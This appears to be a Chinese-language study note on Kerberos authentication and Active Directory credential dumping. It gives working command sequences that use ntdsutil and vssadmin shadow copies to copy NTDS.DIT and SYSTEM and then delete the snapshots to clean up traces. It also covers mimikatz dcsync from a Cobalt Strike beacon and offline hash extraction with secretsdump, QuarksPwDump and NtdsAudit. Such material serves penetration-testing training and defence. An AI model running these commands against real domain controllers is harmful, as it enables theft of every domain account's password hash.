1.Kerberos 协议简介
(1)Kerberos 简介
Kerberos是一种基于密钥的网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。
该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下,Kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证
服务的。
(2)参与域认证的角色
1.Client:希望访问服务的用户或应用程序。
2.Server:提供服务的应用程序或系统。
3.KDC:(Key Distribution Center)密钥分发中心,作为可信的第三方,负责分发加密密钥和认证票据。
- DC Domain Controller 域控制器
通俗解释:整个 Windows 局域网(域)的总管理服务器,公司所有电脑、员工账号都归它管。
截图原话:AD、AS、TGS、KDC 物理上全部在 DC 里。
5.AD Account Database 账户数据库
位置:域控 DC 本地数据库
作用:存所有域用户、服务器服务账号的用户名 + NTLM 哈希
类比:公司人事档案库,记录所有人的身份凭证
关键:KDC 加密 / 解密所有票据,都要从这里拿哈希,是 Kerberos 的底层基础
6.KDC Key Distribution Center 密钥分发中心
核心定义:DC 上专门负责发放、校验票据的整套服务,是 Kerberos 的认证中枢
组成 = AS + TGS 两个子服务,二者分工不同
- AS Authentication Server 认证服务器
职责:处理用户第一次登录的请求,校验账号密码,发放 TGT 票据
工作逻辑:你输域账号密码登录电脑,第一个对接的就是 AS
依赖:读取 AD 里你的用户 NTLM 哈希,验证你身份真假
8.TGS Ticket-Granting Server 票据授予服务器
职责:不能直接用密码访问服务器,必须拿 TGT 来找 TGS 换服务票据 ST
工作逻辑:你要连 RDP 服务器 / 共享盘时,带着 TGT 找 TGS,换取对应服务器的专属门票 ST
(3)流程:
步骤 1:
客户端向 AS 申请 TGT(开机输密码阶段)
用户开机,输入域账号 + 密码登录电脑;
客户端用密码算出自身 NTLM 哈希,加密身份请求包,发给域控里的 AS;
AS 查询本地 AD 数据库,取出该用户的 NTLM 哈希,解密数据包核对身份是否正确;
校验通过,AS 生成两份数据返回客户端:
① TGT 票据:使用域控专属krbtgt账号哈希加密,只有 KDC(AS/TGS)能解开;票据里包含你的用户名、SID、用户会话密钥、10 小时有效期;
② 用户会话密钥:用你的 NTLM 哈希加密,客户端解密后存内存;
客户端把 TGT、用户会话密钥 缓存到 lsass.exe 进程内存。
关键:TGS 不处理密码校验,只有 AS 有权限核对你的原始账号密码。
步骤 2:客户端携带 TGT,向 TGS 发起换票请求(想要访问服务器时触发)
现在你要远程桌面连接内网某台服务器,客户端组装请求包发给 TGS:
内存中取出缓存好的 TGT;
写明要访问的目标服务器名称;
用「用户会话密钥」加密整套请求内容;
发送数据包给域控的 TGS。
硬性规则:TGS 只认 TGT,没有 TGT,直接拒绝给你发放 ST。
步骤 3:TGS 校验 TGT,生成并下发 ST(服务票据)
TGS 使用 krbtgt 哈希解开 TGT,拿到里面的用户会话密钥;
用用户会话密钥解密客户端的请求,确认用户身份合法、票据未过期;
TGS 查询 AD 数据库,取出目标服务器的服务账号 NTLM 哈希;
生成 ST 服务票据:用目标服务器自身哈希加密,票据内写入你的身份、访问权限;
将 ST + 服务会话密钥 返回客户端,存入 lsass 内存。
关系总结:没有 TGT → TGS 不会生成 ST;TGT 是换取 ST 的唯一通行证。
限制:一张 ST只能访问这一台指定服务器,不能通用到其他机器。
步骤 4:客户端携带 ST,连接目标业务 Server
客户端发起 RDP / 文件共享连接,发送两组数据给目标服务器:
加密的 ST 票据(只有目标服务器能解密);
验证数据包(用服务会话密钥加密)。
步骤 5:服务器解密 ST,完成身份校验,允许访问
目标服务器读取自身服务账号的 NTLM 哈希,解开 ST 票据;
从 ST 中读取你的用户名、权限,解密验证包完成双向身份确认;
校验全部通过,建立 RDP / 文件共享会话,你成功登录服务器;
ST 会短期缓存,短时间内重复访问该服务器,不用再找 TGS 换票。
2.活动目录数据库
(1)Ntds.dit
活动目录数据库(NTDS.DIT)
Ntds.dit 是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。
非域环境也就是在工作组环境中,有一个sam文件存储着当前主机用户的密码信息,想要破解sam文件与ntds.dit文件都需要拥有一个system文件。
(2)AD DS 数据存储:
由 Ntds.dit 文件构成,默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中
只能通过域控制器进程和协议访问。
Ntds.dit:(也被称为Active Directory database)包含了当前域中所有的用户的账号信息,和其HASH值。通过获取 Ntds.dit 和 SYSTEM 文件的副本,最可靠的执行密码审计的方法是脱机的。
由于Windows阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。
ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM
(3)总结:活动目录数据库
1.由 NTDS.DIT 文件构成,是Active Directory的核心
2.存储在域控的 %SystemRoot%\ntds\ 文件夹下
3.只能通过域控制器进程和协议访问
在工作组环境中,SAM文件存储着当前主机用户的密码哈希值
在域环境中,NTDS.DIT文件存储了域中所有用户的密码哈希值
因此我们可以通过获取到这两个文件,然后破解得到其中所存储的密码哈希值。
Windows系统为了进一步保护存储的密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
因此想要破解SAM文件与NTDS.DIT文件都需要获取一个SYSTEM文件。
(4)安全性:
1.加密保护:
为了进一步保护存储的密码哈希值,Windows使用存储在sYsTEM注册表配置单元中的密钥对这些哈希值进行加密。
2.访问控制:
Windows系统通过访问控制列表(ACLs)限制对这些关键文件的访问,防止未授权的读取或复制。
3.特殊访问方法
(1)系统保护:由于Windows系统会阻止对这些文件的标准读取或复制操作,常规的复制方法无法获取到文件副
本。
(2)特殊工具:需要使用专门的工具或技术(如Windows的Volume Shadow Copy Service或第三方取证工具)来获取这些文件的副本。
3.Volume Shadow Copy
Volume Shadow Copy Service 卷影复制服务(VSS)是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。用于更好的备份和还原关键业务数据。当所有组件都支持VSS时,可以使用它们来备份应用程序数据,而无需使应用程序脱机。
1.用于数据备份
2.支持 Windows Server 2003 及以上操作系统,系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
3.禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup
我们可以利用 Volume Shadow Copy Service 来获取 NTDS.DIT、SAM、SYSTEM 等文件副本。
**注意:
-
调用 Volume Shadow Copy 服务会产生SYSTEM日志, 事件 ID 为7036。
-
执行( ntdsutil snapshot "activate instance ntds" create quit quit )会额外产生 事件 ID 为 98 的日志**
hash数量:所有用户
免杀:不需要
优点:
获得信息全面
简单高效
无需下载ntds.dit,隐蔽性高
4.NTDSUTIL
Ntdsutil.exe:是一个功能强大的命令行工具,专为Active Directory域服务(AD DS)和Active Directory 轻型目录服务(ADLDS)提供管理功能。它允许管理员执行数据库维护、管理和控制单个主机操作,并删除域控制器的元数据,特别是在域控制器未正确卸载的情况下。
1.功能和用途
· 数据库维护:用于执行ADDS的数据库维护任务。
· 管理和控制:管理和控制单个主机操作。
· 元数据清理:删除未正确卸载的域控制器的元数据。
2.系统支持
· Windows Server 2003
· Windows Server 2008
· Windows Server 2012
· 更高版本的Windows Server
3.使用方法
· 管理员权限:必须以管理员身份运行命令提示符(cmd.exe)。
· 命令行操作:通过命令行界面进行交互式操作。
4.1****交互式
方式一
1.进入ntdsutil命令行
ntdsutil
2.进入快照
snapshot
3.激活ADDS实例
activate instance ntds
4.创建快照
create
5.挂载快照
mount [GUID]
6.复制ntds.dit(从挂载的目录里面去获取我们想要的文件)
copy C: \$SNAP_202205161140_VOLUMEC$\Windows\NTDS\ntds.dit c: \ntds.dit
7.卸载并删除快照
unmount [GuID]
del [GuID]


方式二
1.以管理员身份打开命令提示符(cmd.exe)
2.在命令提示符输入ntdsuti1命令
3.激活ADDS实例
activate instance ntds
4.为可写(fulI)和只读域控制器(RODC)和ADLDS实例创建安装介质到指定文件夹中
ifm
create full c:\mingy

4.2 非交互
1.创建NTDS快照
ntdsutil snapshot "activate instance ntds" create quit quit
2.挂载快照
ntdsutil snapshot "mount {GUID}" quit quit
3.复制域数据库 ntds.dit 到本地临时目录
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
4.卸载并删除快照(清理痕迹)
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
4.2.1查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

4.2.2创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

guid为 {daee5123-b284-47fe-b02e-6e67e8d80fb1}
4.2.3挂载快照
ntdsutil snapshot "mount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
快照挂载为 C:\SNAP_201908291617_VOLUMEC\

4.2.4 复制 ntds.dit
copy C:\$SNAP_202008271744_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit

4.2.5 卸载快照
ntdsutil snapshot "unmount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit

4.2.6删除快照
ntdsutil snapshot "delete {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit

5.Vssadmin
Vssadmin:是卷影复制服务(Volume Shadow Copy Service, VSS)的管理命令行工具,用于创建、列出、挂载和删除卷影复制快照。此工具在域环境中默认安装,支持从Windows Server 2003及以上操作系统。
5.1.查询当前系统的快照
Vssadmin list shadows
5.2.创建快照
Vssadmin create shadow /for=c:
获得 Shadow Copy Volume Name 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

5.3 访问快照中的文件
查看快照列表:
vssadmin list shadows
无法直接访问 \?\GLoBALRooT\Device\HarddiskVolumeshadowcopy12 中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c: \testvsc I\?\GLOBALROoT\Device \HarddiskVolumeShadowCopy12\
删除符号链接:
rd c:\testvsc
5.4复制****ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit
c:\ntds3.dit

5.5删除快照
vssadmin delete shadows /for=c: /quiet


6.解密NTDS.DIT文件
6.1 Mimikatz****在线破解
在线破解,不用将域控上的 ntds.dit 文件下载下来,直接在已有的shell上破解。
有一个cs弹回的beacon,就可以在beacon中直接利用mimikatz来破解,这一切的前提是有管理员权限
Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
使用Mimikatz的 dcsync 功能,可以利用目录复制服务(Directory Replication Service, DRS)从
NTDS.DIT文件中提取密码哈希值。
在获得管理员权限后,通过Cobaltstrike弹回的beacon利用mimikatz模块进行密码Hash提取。
1.获取mingy域内所有用户Hash
lsadump::dcsync /domain:mingy.com /all /csv

2.查看单个用户的详细信息
mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt


3.查看所有用户的详细信息
mimikatz lsadump::lsa /inject

6.2 离线破解
离线破解一般需要两步,首先就是将远端域控的 ntds.dit 下载到本地,然后再在本地进行破解。
ntds.dit 文件一直在被 windows 系统使用,所以常规的复制下载方法是无法将文件下载到本地的。
首先将域控的 NTDS.DIT 和 SYSTEM 文件下载到本地,然后在本地进行破解。
QuarksPwDump:
QuarksPwDump 是一款用于Windows用户凭据提取的开源工具,它可以抓取windows平台下多种类型
的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。
1. 修复复制出来的数据库
esentutl /p /o ntds.dit

2. 使用QuarksPwDump直接读取信息并将结果导出至文件
QuarksPwDump.exe --dump-hash-domain --output mingy.com.txt --ntds-file ntds.dit

SecretsDump
通过impacket套件中的secretsdump.py脚本
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

NtdsAudit
NtdsAudit.exe "ntds.dit" -s "system.hive" -p pwdump.txt --users-csv users.csv
